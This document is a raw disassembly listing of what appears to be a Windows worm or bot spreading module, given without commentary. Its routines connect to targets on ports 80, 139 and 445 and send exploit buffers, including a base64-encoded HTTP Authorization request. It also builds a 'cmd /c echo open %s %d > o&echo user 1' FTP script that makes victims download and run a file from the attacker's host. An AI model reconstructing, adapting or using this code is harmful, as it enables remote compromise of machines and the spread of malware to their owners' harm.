[ebp+var_58] call sub_4019F4 push esi lea eax, [ebp+var_858] push 43h push eax call sub_40CC40 add esp, 0Ch push offset aCccc ; "CCCC" lea ecx, [ebp+var_18] call sub_401B3F push 4 push offset dword_41A5B0 lea ecx, [ebp+var_18] call sub_401B0B push [ebp+arg_8] lea ecx, [ebp+var_18] push [ebp+arg_4] call sub_401B0B sub edi, [ebp+arg_8] lea eax, [ebp+var_858] lea ecx, [ebp+var_18] push edi push eax call sub_401B0B lea ecx, [ebp+var_18] call sub_401A91 push [ebp+var_14] lea ecx, [ebp+var_40] push [ebp+var_18] call sub_401B5C push [ebp+var_4C] lea ecx, [ebp+var_40] push [ebp+var_50] call sub_401B5C lea ecx, [ebp+var_40] call sub_401B6C lea ecx, [ebp+var_18] call sub_4019F4 lea ecx, [ebp+var_50] call sub_4019F4 push [ebp+var_1C] lea ecx, [ebp+var_38] push [ebp+var_20] call sub_401B5C push [ebp+var_2C] lea ecx, [ebp+var_38] push [ebp+var_30] call sub_401B5C push [ebp+var_3C] lea ecx, [ebp+var_38] push [ebp+var_40] call sub_401B5C lea ecx, [ebp+var_38] call sub_401B6C lea ecx, [ebp+var_20] call sub_4019F4 lea ecx, [ebp+var_30] call sub_4019F4 lea ecx, [ebp+var_40] call sub_4019F4 push esi lea eax, [ebp+var_858] push 41h push eax call sub_40CC40 add esp, 0Ch lea eax, [ebp+var_858] lea ecx, [ebp+var_28] push 400h push eax call sub_401B0B lea ecx, [ebp+var_28] call sub_401A91 push 2 push offset dword_41A92C lea ecx, [ebp+var_28] call sub_401B0B push [ebp+var_34] lea ecx, [ebp+var_28] push [ebp+var_38] call sub_401B5C lea ecx, [ebp+var_28] call sub_401B6C lea ecx, [ebp+var_38] call sub_4019F4 lea ecx, [ebp+var_10] call sub_40195B lea ecx, [ebp+var_8] call sub_40195B push [ebp+var_24] lea ecx, [ebp+var_10] push [ebp+var_28] call sub_401B5C lea ecx, [ebp+var_10] call sub_401A0D lea ecx, [ebp+var_28] call sub_4019F4 push offset dword_41A928 lea ecx, [ebp+var_8] call sub_401B3F push [ebp+var_C] lea ecx, [ebp+var_8] push [ebp+var_10] call sub_401B5C lea ecx, [ebp+var_8] call sub_401A0D lea ecx, [ebp+var_10] call sub_4019F4 push offset dword_41A924 lea ecx, [ebp+var_10] call sub_401B3F push [ebp+var_4] lea ecx, [ebp+var_10] push [ebp+var_8] call sub_401B5C lea ecx, [ebp+var_10] call sub_401A0D lea ecx, [ebp+var_8] call sub_4019F4 push offset dword_41A918 lea ecx, [ebp+var_8] call sub_401B3F push [ebp+var_C] lea ecx, [ebp+var_8] push [ebp+var_10] call sub_401B5C lea ecx, [ebp+var_8] call sub_401A0D lea ecx, [ebp+var_10] call sub_4019F4 push offset dword_41A914 lea ecx, [ebp+var_48] call sub_401B3F push [ebp+var_4] lea ecx, [ebp+var_48] push [ebp+var_8] call sub_401B5C lea ecx, [ebp+var_8] call sub_4019F4 pop esi loc_401F0B: ; CODE XREF: sub_401BC7+1Bj ; sub_401BC7+29j mov eax, [ebp+arg_0] mov ecx, [ebp+var_48] pop edi pop ebx mov [eax], ecx mov ecx, [ebp+var_44] mov [eax+4], ecx leave retn sub_401BC7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401F1D proc near ; CODE XREF: sub_401FE1+A2p ; sub_401FE1+C7p ... var_210 = dword ptr -210h var_20C = dword ptr -20Ch var_10C = dword ptr -10Ch var_108 = dword ptr -108h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 210h push esi mov esi, [ebp+arg_0] lea eax, [ebp+var_8] push edi push eax lea eax, [ebp+var_210] and [ebp+var_4], 0 push eax lea eax, [ebp+var_10C] push 0 xor edi, edi push eax lea eax, [esi+1] inc edi push eax mov [ebp+var_108], esi mov [ebp+var_10C], edi mov [ebp+var_20C], esi mov [ebp+var_210], edi mov [ebp+var_8], 0Ah call dword_4181BC ; select cmp eax, edi jnz short loc_401F84 lea eax, [ebp+var_10C] push eax push esi call sub_417A78 ; __WSAFDIsSet test eax, eax jnz short loc_401F88 loc_401F84: ; CODE XREF: sub_401F1D+54j xor eax, eax jmp short loc_401F98 ; --------------------------------------------------------------------------- loc_401F88: ; CODE XREF: sub_401F1D+65j push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push esi call dword_42D890 ; recv loc_401F98: ; CODE XREF: sub_401F1D+69j pop edi pop esi leave retn sub_401F1D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401F9C proc near ; CODE XREF: sub_401FE1+80p ; sub_401FE1+AEp var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push [ebp+arg_8] call dword_42D874 ; htonl mov [ebp+var_4], eax push 0 lea eax, [ebp+var_4] push 4 push eax push [ebp+arg_0] call dword_42D8C4 ; send cmp eax, 4 jz short loc_401FC6 xor al, al leave retn ; --------------------------------------------------------------------------- loc_401FC6: ; CODE XREF: sub_401F9C+24j push 0 push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call dword_42D8C4 ; send sub eax, [ebp+arg_8] neg eax sbb eax, eax inc eax leave retn sub_401F9C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401FE1 proc near ; CODE XREF: sub_4020C0+48p ; sub_4023B8+179p var_104 = byte ptr -104h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 104h push ebx push esi push edi mov edi, [ebp+arg_8] lea ebx, [edi+41h] push ebx mov [ebp+var_4], ebx call sub_40CCCF mov esi, eax pop ecx test esi, esi jnz short loc_40200A xor al, al jmp loc_4020BB ; --------------------------------------------------------------------------- loc_40200A: ; CODE XREF: sub_401FE1+20j push ebx push 0 push esi call sub_40CC40 push 2Fh push offset dword_41A640 push esi call near ptr sub_40C820 push 8 lea eax, [esi+31h] push offset dword_41A670 push eax mov [esi+2Fh], di call near ptr sub_40C820 push edi lea ebx, [esi+3Bh] push [ebp+arg_4] mov [esi+39h], di push ebx call near ptr sub_40C820 push 6 add ebx, edi push offset dword_4242E4 push ebx call near ptr sub_40C820 push 85h push offset dword_41A5B8 push [ebp+arg_0] call sub_401F9C add esp, 48h test al, al jnz short loc_402071 loc_40206D: ; CODE XREF: sub_401FE1+B8j xor bl, bl jmp short loc_4020B2 ; --------------------------------------------------------------------------- loc_402071: ; CODE XREF: sub_401FE1+8Aj mov edi, 100h push 0 lea eax, [ebp+var_104] push edi push eax push [ebp+arg_0] call sub_401F1D push [ebp+var_4] push esi push [ebp+arg_0] call sub_401F9C add esp, 1Ch test al, al jz short loc_40206D push 0 lea eax, [ebp+var_104] push edi push eax push [ebp+arg_0] call sub_401F1D add esp, 10h mov bl, 1 loc_4020B2: ; CODE XREF: sub_401FE1+8Ej push esi call sub_40CD81 pop ecx mov al, bl loc_4020BB: ; CODE XREF: sub_401FE1+24j pop edi pop esi pop ebx leave retn sub_401FE1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4020C0 proc near ; CODE XREF: sub_4023B8+15Fp var_20 = byte ptr -20h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 20h push 0 push 48h push offset unk_41A680 push [ebp+arg_0] call dword_4181B8 ; send cmp eax, 48h jnz short loc_4020FB push 0 lea eax, [ebp+var_20] push 20h push eax push [ebp+arg_0] call sub_401F1D add esp, 10h cmp eax, 0FFFFFFFFh jz short loc_4020FB cmp [ebp+var_20], 82h jz short loc_4020FF loc_4020FB: ; CODE XREF: sub_4020C0+1Bj ; sub_4020C0+33j xor al, al leave retn ; --------------------------------------------------------------------------- loc_4020FF: ; CODE XREF: sub_4020C0+39j push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_401FE1 add esp, 0Ch leave retn sub_4020C0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_402112 proc near ; CODE XREF: sub_40215E+2Dp var_10 = qword ptr -10h var_8 = qword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx mov eax, [ebp+arg_0] and dword ptr [ebp+var_8+4], 0 shl eax, 3 mov dword ptr [ebp+var_8], eax fild [ebp+var_8] fmul dbl_418210 call sub_40CF0C and dword ptr [ebp+var_8+4], 0 mov dword ptr [ebp+var_8], eax fild [ebp+var_8] push ecx push ecx ; double fst [ebp+var_8] fmul dbl_418208 fstp [esp+10h+var_10] call sub_40CDEA fadd st, st pop ecx pop ecx fadd [ebp+var_8] call sub_40CF0C inc eax leave retn sub_402112 endp ; =============== S U B R O U T I N E ======================================= sub_40215E proc near ; CODE XREF: sub_4022FD+24p var_40 = qword ptr -40h mov eax, offset loc_417BD7 call sub_40D3D8 sub esp, 2Ch push ebx push esi push edi xor edi, edi mov [ebp-20h], edi mov al, [ebp+13h] push edi lea ecx, [ebp-38h] mov [ebp-38h], al call sub_402790 push dword ptr [ebp+10h] xor ebx, ebx inc ebx mov [ebp-4], ebx call sub_402112 cmp [ebp-2Ch], eax pop ecx jnb short loc_4021A0 push edi push eax lea ecx, [ebp-38h] call sub_40270A loc_4021A0: ; CODE XREF: sub_40215E+36j cmp [ebp+10h], edi mov [ebp-18h], edi jbe loc_4022BE mov ebx, [ebp+10h] loc_4021AF: ; CODE XREF: sub_40215E+157j cmp dword ptr [ebp+10h], 3 jb short loc_4021BA push 3 loc_4021B7: ; CODE XREF: sub_40215E+64j pop ebx jmp short loc_4021CD ; --------------------------------------------------------------------------- loc_4021BA: ; CODE XREF: sub_40215E+55j cmp dword ptr [ebp+10h], 2 jnz short loc_4021C4 push 2 jmp short loc_4021B7 ; --------------------------------------------------------------------------- loc_4021C4: ; CODE XREF: sub_40215E+60j cmp dword ptr [ebp+10h], 1 jnz short loc_4021CD xor ebx, ebx inc ebx loc_4021CD: ; CODE XREF: sub_40215E+5Aj ; sub_40215E+6Aj mov [ebp-28h], ebx mov [ebp-24h], edi fild qword ptr [ebp-28h] push ecx push ecx ; double fmul dbl_418218 fstp [esp+40h+var_40] call sub_40CF33 pop ecx pop ecx call sub_40CF0C cmp ebx, edi mov [ebp-1Ch], eax jbe short loc_40220C mov esi, [ebp+0Ch] mov ecx, ebx mov edx, ecx lea edi, [ebp-10h] shr ecx, 2 rep movsd mov ecx, edx and ecx, 3 rep movsb xor edi, edi loc_40220C: ; CODE XREF: sub_40215E+94j mov cl, [ebp-10h] mov dl, [ebp-10h] sar cl, 2 and cl, 3Fh and dl, 3 mov [ebp-14h], cl mov cl, [ebp-0Fh] sar cl, 4 and cl, 0Fh add [ebp+0Ch], ebx shl dl, 4 add cl, dl mov dl, [ebp-0Fh] mov [ebp-13h], cl mov cl, [ebp-0Eh] sar cl, 6 and dl, 0Fh sub [ebp+10h], ebx and cl, 3 xor esi, esi shl dl, 2 add cl, dl mov [ebp-12h], cl mov cl, [ebp-0Eh] and cl, 3Fh cmp eax, edi mov [ebp-11h], cl jbe short loc_40227A add [ebp-18h], eax loc_40225E: ; CODE XREF: sub_40215E+11Aj movsx eax, byte ptr [ebp+esi-14h] lea ecx, [ebp-38h] mov al, byte_41A6D0[eax] push eax push 1 call sub_40258B inc esi cmp esi, [ebp-1Ch] jb short loc_40225E loc_40227A: ; CODE XREF: sub_40215E+FBj cmp dword ptr [ebp-18h], 48h jb short loc_402298 push dword ptr [ebp+14h] call sub_40CBC0 pop ecx push eax lea ecx, [ebp-38h] push dword ptr [ebp+14h] call sub_4025E5 mov [ebp-18h], edi loc_402298: ; CODE XREF: sub_40215E+120j push 4 pop esi cmp [ebp-1Ch], esi jnb short loc_4022B2 sub esi, [ebp-1Ch] loc_4022A3: ; CODE XREF: sub_40215E+152j push 3Dh push 1 lea ecx, [ebp-38h] call sub_40258B dec esi jnz short loc_4022A3 loc_4022B2: ; CODE XREF: sub_40215E+140j cmp [ebp+10h], edi ja loc_4021AF xor ebx, ebx inc ebx loc_4022BE: ; CODE XREF: sub_40215E+48j mov esi, [ebp+8] mov al, [ebp-38h] push edi mov ecx, esi mov [esi], al call sub_402790 push 0FFFFFFFFh lea eax, [ebp-38h] push edi push eax mov ecx, esi call sub_40263D mov [ebp-20h], ebx and byte ptr [ebp-4], 0 push ebx lea ecx, [ebp-38h] call sub_402790 mov ecx, [ebp-0Ch] mov eax, esi pop edi pop esi pop ebx mov large fs:0, ecx leave retn sub_40215E endp ; =============== S U B R O U T I N E ======================================= sub_4022FD proc near ; CODE XREF: sub_4023B8+142p mov eax, offset loc_417BF4 call sub_40D3D8 sub esp, 10h push ebx push esi push edi push offset byte_4242F0 lea eax, [ebp-1Ch] push dword ptr [ebp+10h] xor ebx, ebx mov [ebp-4], ebx push dword ptr [ebp+0Ch] push eax call sub_40215E mov eax, [ebp+1Ch] mov ecx, [ebp-14h] mov byte ptr [ebp-4], 1 lea esi, [ecx+eax+36h] push esi call sub_40CCCF mov edi, eax add esp, 14h cmp edi, ebx jnz short loc_402347 xor bl, bl jmp short loc_40238B ; --------------------------------------------------------------------------- loc_402347: ; CODE XREF: sub_4022FD+44j mov ecx, [ebp-18h] mov eax, offset dword_418220 cmp ecx, ebx jnz short loc_402355 mov ecx, eax loc_402355: ; CODE XREF: sub_4022FD+54j cmp [ebp+18h], ebx jz short loc_40235D mov eax, [ebp+18h] loc_40235D: ; CODE XREF: sub_4022FD+5Bj push ecx push eax push offset aGetHttp1_0Host ; "GET / HTTP/1.0\r\nHost: %s\r\nAuthorization"... push esi push edi call sub_40D3F7 add esp, 14h push ebx push esi push edi push dword ptr [ebp+8] call dword_42D8C4 ; send cmp eax, esi jz short loc_402382 xor bl, bl jmp short loc_402384 ; --------------------------------------------------------------------------- loc_402382: ; CODE XREF: sub_4022FD+7Fj mov bl, 1 loc_402384: ; CODE XREF: sub_4022FD+83j push edi call sub_40CD81 pop ecx loc_40238B: ; CODE XREF: sub_4022FD+48j and byte ptr [ebp-4], 0 push 1 lea ecx, [ebp-1Ch] call sub_402790 or dword ptr [ebp-4], 0FFFFFFFFh push 1 lea ecx, [ebp+14h] call sub_402790 mov ecx, [ebp-0Ch] pop edi mov al, bl pop esi pop ebx mov large fs:0, ecx leave retn sub_4022FD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4023B8 proc near ; CODE XREF: sub_40154B+17Cp ; DATA XREF: .nsp0:off_41A06Co var_420 = byte ptr -420h var_41F = byte ptr -41Fh var_391 = byte ptr -391h var_20 = dword ptr -20h var_1C = word ptr -1Ch var_1A = word ptr -1Ah var_18 = dword ptr -18h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch arg_A0 = dword ptr 0A8h arg_A8 = dword ptr 0B0h arg_BB = byte ptr 0C3h push ebp mov ebp, esp sub esp, 420h and [ebp+var_420], 0 push ebx push esi push edi mov ecx, 0FFh xor eax, eax lea edi, [ebp+var_41F] push 8Fh rep stosd stosw stosb lea eax, [ebp+var_420] push offset sub_41A880 push eax call near ptr sub_40C820 add esp, 0Ch mov eax, offset byte_41DF08 push eax push eax movzx eax, word ptr dword_42D334 push eax push [ebp+arg_0] call sub_4058DC pop ecx push eax push offset aCmdCEchoOpenSD ; "cmd /c echo open %s %d > o&echo user 1 "... lea eax, [ebp+var_391] push 400h push eax call sub_40D3F7 add eax, 90h push eax lea eax, [ebp+var_420] push eax push 164h lea eax, [ebp+var_8] push offset sub_41A718 push eax call sub_401BC7 xor esi, esi add esp, 30h cmp [ebp+var_4], esi jnz short loc_402456 xor eax, eax jmp loc_40257E ; --------------------------------------------------------------------------- loc_402456: ; CODE XREF: sub_4023B8+95j mov [ebp+var_C], esi loc_402459: ; CODE XREF: sub_4023B8+1A1j test esi, esi jnz loc_40255F push 6 push 1 push 2 call dword_4181B4 ; socket mov ebx, eax cmp ebx, 0FFFFFFFFh jz loc_402547 xor eax, eax lea edi, [ebp+var_1A] stosd push [ebp+arg_A0] stosd stosd stosw mov [ebp+var_1C], 2 call dword_42D878 ; htons mov [ebp+var_1A], ax lea eax, [ebp+arg_4] push eax call dword_42D8B4 ; inet_addr mov [ebp+var_18], eax lea eax, [ebp+var_1C] push 10h push eax push ebx call dword_42D824 ; connect cmp eax, 0FFFFFFFFh jz loc_40253C cmp [ebp+arg_A0], 50h jnz short loc_402504 mov al, [ebp+arg_BB] sub esp, 10h mov esi, esp mov [ebp+var_20], esp push 0 mov ecx, esi mov [esi], al call sub_402790 lea eax, [ebp+arg_4] push eax call sub_40CBC0 pop ecx push eax lea eax, [ebp+arg_4] push eax mov ecx, esi call sub_4027C8 push [ebp+var_4] push [ebp+var_8] push ebx call sub_4022FD add esp, 1Ch jmp short loc_402539 ; --------------------------------------------------------------------------- loc_402504: ; CODE XREF: sub_4023B8+10Aj cmp [ebp+arg_A0], 8Bh jnz short loc_40251E push [ebp+var_4] push [ebp+var_8] push ebx call sub_4020C0 jmp short loc_402536 ; --------------------------------------------------------------------------- loc_40251E: ; CODE XREF: sub_4023B8+156j cmp [ebp+arg_A0], 1BDh jnz short loc_40253C push [ebp+var_4] push [ebp+var_8] push ebx call sub_401FE1 loc_402536: ; CODE XREF: sub_4023B8+164j add esp, 0Ch loc_402539: ; CODE XREF: sub_4023B8+14Aj movzx esi, al loc_40253C: ; CODE XREF: sub_4023B8+FDj ; sub_4023B8+170j push ebx call dword_42D90C ; closesocket test esi, esi jnz short loc_402552 loc_402547: ; CODE XREF: sub_4023B8+BAj push 3E8h call dword_418040 ; Sleep loc_402552: ; CODE XREF: sub_4023B8+18Dj inc [ebp+var_C] cmp [ebp+var_C], 2 jl loc_402459 loc_40255F: ; CODE XREF: sub_4023B8+A3j lea ecx, [ebp+var_8] call sub_4019F4 test esi, esi jz short loc_40257C mov eax, [ebp+arg_A8] imul eax, 3Ch lea eax, dword_41A070[eax] inc dword ptr [eax] loc_40257C: ; CODE XREF: sub_4023B8+1B1j mov eax, esi loc_40257E: ; CODE XREF: sub_4023B8+99j pop edi pop esi pop ebx leave retn sub_4023B8 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_417BB8 loc_402583: ; CODE XREF: sub_417BB8+3j ; .nsp0:00417BD1j ... push 1 call sub_402790 retn ; END OF FUNCTION CHUNK FOR sub_417BB8 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40258B proc near ; CODE XREF: sub_40215E+111p ; sub_40215E+14Cp arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch push ebp mov ebp, esp push esi mov esi, ecx or eax, 0FFFFFFFFh push edi sub eax, [esi+8] cmp eax, [ebp+arg_0] ja short loc_4025A2 call sub_417720 loc_4025A2: ; CODE XREF: sub_40258B+10j cmp [ebp+arg_0], 0 jbe short loc_4025DD mov edi, [esi+8] push 0 add edi, [ebp+arg_0] mov ecx, esi push edi call sub_40270A test al, al jz short loc_4025DD movsx eax, [ebp+arg_4] push [ebp+arg_0] push eax mov eax, [esi+4] add eax, [esi+8] push eax call sub_40CC40 mov eax, [esi+4] add esp, 0Ch mov [esi+8], edi and byte ptr [edi+eax], 0 loc_4025DD: ; CODE XREF: sub_40258B+1Bj ; sub_40258B+2Fj mov eax, esi pop edi pop esi pop ebp retn 8 sub_40258B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4025E5 proc near ; CODE XREF: sub_40215E+132p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push esi mov esi, ecx or eax, 0FFFFFFFFh push edi sub eax, [esi+8] cmp eax, [ebp+arg_4] ja short loc_4025FC call sub_417720 loc_4025FC: ; CODE XREF: sub_4025E5+10j cmp [ebp+arg_4], 0 jbe short loc_402635 mov edi, [esi+8] push 0 add edi, [ebp+arg_4] mov ecx, esi push edi call sub_40270A test al, al jz short loc_402635 push [ebp+arg_4] mov eax, [esi+8] add eax, [esi+4] push [ebp+arg_0] push eax call near ptr sub_40C820 mov eax, [esi+4] add esp, 0Ch mov [esi+8], edi and byte ptr [edi+eax], 0 loc_402635: ; CODE XREF: sub_4025E5+1Bj ; sub_4025E5+2Fj mov eax, esi pop edi pop esi pop ebp retn 8 sub_4025E5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40263D proc near ; CODE XREF: sub_40215E+179p ; sub_41777A+46p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp mov eax, [ebp+arg_4] push ebx mov ebx, [ebp+arg_0] push esi push edi mov edi, ecx cmp [ebx+8], eax jnb short loc_402655 call sub_41794C loc_402655: ; CODE XREF: sub_40263D+11j mov eax, [ebx+8] mov ecx, [ebp+arg_4] mov esi, eax sub esi, ecx cmp [ebp+arg_8], esi jnb short loc_402667 mov esi, [ebp+arg_8] loc_402667: ; CODE XREF: sub_40263D+25j cmp edi, ebx jnz short loc_402685 add esi, ecx push 0FFFFFFFFh push esi mov ecx, edi call sub_4027FD push [ebp+arg_4] mov ecx, edi push 0 call sub_4027FD jmp short loc_402701 ; --------------------------------------------------------------------------- loc_402685: ; CODE XREF: sub_40263D+2Cj test esi, esi jbe short loc_4026C8 cmp esi, eax jnz short loc_4026C8 mov eax, [ebx+4] test eax, eax jnz short loc_402699 mov eax, offset dword_418220 loc_402699: ; CODE XREF: sub_40263D+55j cmp byte ptr [eax-1], 0FEh jnb short loc_4026C8 push 1 mov ecx, edi call sub_402790 mov eax, [ebx+4] test eax, eax jnz short loc_4026B4 mov eax, offset dword_418220 loc_4026B4: ; CODE XREF: sub_40263D+70j mov [edi+4], eax mov ecx, [ebx+8] mov [edi+8], ecx mov ecx, [ebx+0Ch] mov [edi+0Ch], ecx inc byte ptr [eax-1] jmp short loc_402701 ; --------------------------------------------------------------------------- loc_4026C8: ; CODE XREF: sub_40263D+4Aj ; sub_40263D+4Ej ... push 1 push esi mov ecx, edi call sub_40270A test al, al jz short loc_402701 mov eax, [ebp+arg_0] mov eax, [eax+4] test eax, eax jnz short loc_4026E5 mov eax, offset dword_418220 loc_4026E5: ; CODE XREF: sub_40263D+A1j mov ecx, [ebp+arg_4] push esi add eax, ecx push eax push dword ptr [edi+4] call near ptr sub_40C820 mov eax, [edi+4] add esp, 0Ch mov [edi+8], esi and byte ptr [esi+eax], 0 loc_402701: ; CODE XREF: sub_40263D+46j ; sub_40263D+89j ... mov eax, edi pop edi pop esi pop ebx pop ebp retn 0Ch sub_40263D endp ; =============== S U B R O U T I N E ======================================= sub_40270A proc near ; CODE XREF: sub_40215E+3Dp ; sub_40258B+28p ... arg_0 = dword ptr 4 arg_4 = byte ptr 8 push esi push edi mov edi, [esp+8+arg_0] mov esi, ecx cmp edi, 0FFFFFFFDh jbe short loc_40271C call sub_417720 loc_40271C: ; CODE XREF: sub_40270A+Bj mov eax, [esi+4] xor edx, edx cmp eax, edx jz short loc_402744 mov cl, [eax-1] cmp cl, dl jz short loc_402744 cmp cl, 0FFh jz short loc_402744 cmp edi, edx mov ecx, esi jnz short loc_402783 dec byte ptr [eax-1] push edx loc_40273B: ; CODE XREF: sub_40270A+48j call sub_402790 loc_402740: ; CODE XREF: sub_40270A+4Cj ; sub_40270A+53j xor al, al jmp short loc_40278B ; --------------------------------------------------------------------------- loc_402744: ; CODE XREF: sub_40270A+19j ; sub_40270A+20j ... cmp edi, edx jnz short loc_40275F cmp [esp+8+arg_4], dl jz short loc_402754 push 1 mov ecx, esi jmp short loc_40273B ; --------------------------------------------------------------------------- loc_402754: ; CODE XREF: sub_40270A+42j cmp eax, edx jz short loc_402740 mov [esi+8], edx mov [eax], dl jmp short loc_402740 ; --------------------------------------------------------------------------- loc_40275F: ; CODE XREF: sub_40270A+3Cj cmp [esp+8+arg_4], dl jz short loc_40277C mov eax, [esi+0Ch] cmp eax, 1Fh ja short loc_402771 cmp eax, edi jnb short loc_402789 loc_402771: ; CODE XREF: sub_40270A+61j push 1 mov ecx, esi call sub_402790 jmp short loc_402781 ; --------------------------------------------------------------------------- loc_40277C: ; CODE XREF: sub_40270A+59j cmp [esi+0Ch], edi jnb short loc_402789 loc_402781: ; CODE XREF: sub_40270A+70j mov ecx, esi loc_402783: ; CODE XREF: sub_40270A+2Bj push edi call sub_402864 loc_402789: ; CODE XREF: sub_40270A+65j ; sub_40270A+75j mov al, 1 loc_40278B: ; CODE XREF: sub_40270A+38j pop edi pop esi retn 8 sub_40270A endp ; =============== S U B R O U T I N E ======================================= sub_402790 proc near ; CODE XREF: sub_40215E+1Fp ; sub_40215E+16Bp ... arg_0 = byte ptr 4 cmp [esp+arg_0], 0 push esi mov esi, ecx jz short loc_4027B8 mov eax, [esi+4] test eax, eax jz short loc_4027B8 dec eax mov cl, [eax] test cl, cl jz short loc_4027B1 cmp cl, 0FFh jz short loc_4027B1 dec byte ptr [eax] jmp short loc_4027B8 ; --------------------------------------------------------------------------- loc_4027B1: ; CODE XREF: sub_402790+16j ; sub_402790+1Bj push eax call sub_40D448 pop ecx loc_4027B8: ; CODE XREF: sub_402790+8j ; sub_402790+Fj ... and dword ptr [esi+4], 0 and dword ptr [esi+8], 0 and dword ptr [esi+0Ch], 0 pop esi retn 4 sub_402790 endp ; =============== S U B R O U T I N E ======================================= sub_4027C8 proc near ; CODE XREF: sub_4023B8+136p ; sub_402921+28p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push edi mov edi, [esp+8+arg_4] push 1 push edi mov esi, ecx call sub_40270A test al, al jz short loc_4027F6 push edi push [esp+0Ch+arg_0] push dword ptr [esi+4] call near ptr sub_40C820 mov eax, [esi+4] add esp, 0Ch mov [esi+8], edi and byte ptr [edi+eax], 0 loc_4027F6: ; CODE XREF: sub_4027C8+12j mov eax, esi pop edi pop esi retn 8 sub_4027C8 endp ; =============== S U B R O U T I N E ======================================= sub_4027FD proc near ; CODE XREF: sub_40263D+35p ; sub_40263D+41p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx push esi mov esi, [esp+8+arg_0] push edi mov edi, ecx cmp [edi+8], esi jnb short loc_402810 call sub_41794C loc_402810: ; CODE XREF: sub_4027FD+Cj mov ecx, edi call sub_402921 mov eax, [edi+8] mov ebx, [esp+0Ch+arg_4] sub eax, esi cmp eax, ebx jnb short loc_402826 mov ebx, eax loc_402826: ; CODE XREF: sub_4027FD+25j test ebx, ebx jbe short loc_40285C mov ecx, [edi+4] sub eax, ebx add ecx, esi push eax lea eax, [ecx+ebx] push eax push ecx call sub_40D460 mov esi, [edi+8] add esp, 0Ch sub esi, ebx mov ecx, edi push 0 push esi call sub_40270A test al, al jz short loc_40285C mov eax, [edi+4] mov [edi+8], esi and byte ptr [esi+eax], 0 loc_40285C: ; CODE XREF: sub_4027FD+2Bj ; sub_4027FD+53j mov eax, edi pop edi pop esi pop ebx retn 8 sub_4027FD endp ; =============== S U B R O U T I N E ======================================= sub_402864 proc near ; CODE XREF: sub_40270A+7Ap mov eax, offset loc_417C00 call sub_40D3D8 sub esp, 0Ch push ebx push esi push edi mov edi, [ebp+8] or edi, 1Fh mov esi, ecx cmp edi, 0FFFFFFFDh mov [ebp-10h], esp mov [ebp-14h], esi jbe short loc_40288A mov edi, [ebp+8] loc_40288A: ; CODE XREF: sub_402864+21j and dword ptr [ebp-4], 0 lea eax, [edi+2] test eax, eax jge short loc_402897 xor eax, eax loc_402897: ; CODE XREF: sub_402864+2Fj push eax call sub_40D795 pop ecx mov [ebp+8], eax jmp short loc_4028C8 ; --------------------------------------------------------------------------- loc_4028A3: ; DATA XREF: .nsp0:00418ECCo mov eax, [ebp+8] mov [ebp-18h], eax add eax, 2 test eax, eax jge short loc_4028B2 xor eax, eax loc_4028B2: ; CODE XREF: sub_402864+4Aj push eax call sub_40D795 mov [ebp+8], eax pop ecx mov eax, offset loc_4028C2 retn ; --------------------------------------------------------------------------- loc_4028C2: ; DATA XREF: sub_402864+58o mov esi, [ebp-14h] mov edi, [ebp-18h] loc_4028C8: ; CODE XREF: sub_402864+3Dj mov eax, [esi+8] test eax, eax jbe short loc_4028E6 cmp eax, edi jbe short loc_4028D5 mov eax, edi loc_4028D5: ; CODE XREF: sub_402864+6Dj push eax mov eax, [ebp+8] push dword ptr [esi+4] inc eax push eax call near ptr sub_40C820 add esp, 0Ch loc_4028E6: ; CODE XREF: sub_402864+69j mov ebx, [esi+8] push 1 mov ecx, esi call sub_402790 mov eax, [ebp+8] inc eax mov [esi+4], eax and byte ptr [eax-1], 0 cmp ebx, edi mov [esi+0Ch], edi ja short loc_402906 mov edi, ebx loc_402906: ; CODE XREF: sub_402864+9Ej mov eax, [esi+4] mov ecx, [ebp-0Ch] mov [esi+8], edi and byte ptr [edi+eax], 0 pop edi pop esi mov large fs:0, ecx pop ebx leave retn 4 sub_402864 endp ; =============== S U B R O U T I N E ======================================= sub_402921 proc near ; CODE XREF: sub_4027FD+15p push esi push edi mov edi, ecx mov esi, [edi+4] test esi, esi jz short loc_40294E mov al, [esi-1] test al, al jz short loc_40294E cmp al, 0FFh jz short loc_40294E push 1 call sub_402790 push esi call sub_40CBC0 pop ecx push eax push esi mov ecx, edi call sub_4027C8 loc_40294E: ; CODE XREF: sub_402921+9j ; sub_402921+10j ... pop edi pop esi retn sub_402921 endp ; =============== S U B R O U T I N E ======================================= sub_402951 proc near ; DATA XREF: .nsp0:0041A004o test byte_4820AC, 1 jnz short loc_402961 or byte_4820AC, 1 loc_402961: ; CODE XREF: sub_402951+7j jmp $+5 push offset nullsub_1 